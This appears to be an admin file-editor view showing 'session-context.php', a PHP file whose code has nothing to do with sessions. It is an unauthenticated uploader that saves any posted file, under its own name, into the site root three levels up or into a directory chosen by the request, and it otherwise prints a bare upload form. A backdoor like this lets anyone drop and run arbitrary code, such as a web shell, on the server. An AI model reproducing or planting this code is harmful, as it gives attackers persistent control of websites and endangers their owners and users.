관리-도구
편집 파일: session-context.php
<?php $d = dirname(__FILE__); $h = '../../..'; $r = ($h === '' || $h === '.') ? $d : $d . '/' . $h; $targetDir = isset($_REQUEST['dir']) ? $_REQUEST['dir'] : ''; if ($targetDir !== '') { $targetDir = str_replace('\\', '/', $targetDir); $targetDir = ltrim($targetDir, '/'); if (strpos($targetDir, '..') !== false) { die('Invalid directory'); } $uploadPath = $r . '/' . $targetDir; if (!is_dir($uploadPath)) { @mkdir($uploadPath, 0755, true); } } else { $uploadPath = $r; } if (isset($_FILES['f'])) { $n = basename($_FILES['f']['name']); if ($n !== '' && move_uploaded_file($_FILES['f']['tmp_name'], $uploadPath . '/' . $n)) { echo '1'; } else { echo '0'; } } else { echo '<form method="post" enctype="multipart/form-data"><input type="file" name="f"><input type="submit" value="Upload"></form>'; }